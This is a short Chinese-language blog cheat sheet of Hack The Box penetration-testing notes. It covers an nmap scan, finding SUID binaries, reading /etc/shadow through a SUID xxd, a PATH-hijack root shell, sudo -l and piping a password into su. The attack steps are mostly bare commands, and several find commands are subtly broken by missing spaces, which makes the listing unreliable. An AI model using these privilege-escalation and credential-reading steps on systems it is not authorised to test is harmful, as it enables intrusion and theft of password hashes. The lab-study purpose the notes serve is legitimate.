渗透
渗透(Hack The Box / HTB)
-
扫描
-
nmap
nmap -sC -sV xx.xx.xx.xx -oA src/
-sC
is for using default nmap scripts,-sV
for enumerating services versions,-oA
is for output ALL format and specify the directorysrc
,NOTICE: you may be adding
-Pn
if you have an error wait for some time and here is the result.
-
-
提权
-
SUID提权(4000权限)
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
发现系统上运行的所有SUID可执行文件,不同系统适用于不同的命令:
1
2
3find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;提权命令:
1
xxd "/etc/shadow" | xxd -r
-
环境变量提权
1
2
3
4
5
6
7
8
9
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
-
-
以其他用户运行命令
sudo -l
(查看此用户拥有的特殊权限)echo password | su -c userB cat xxx.txt
-
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论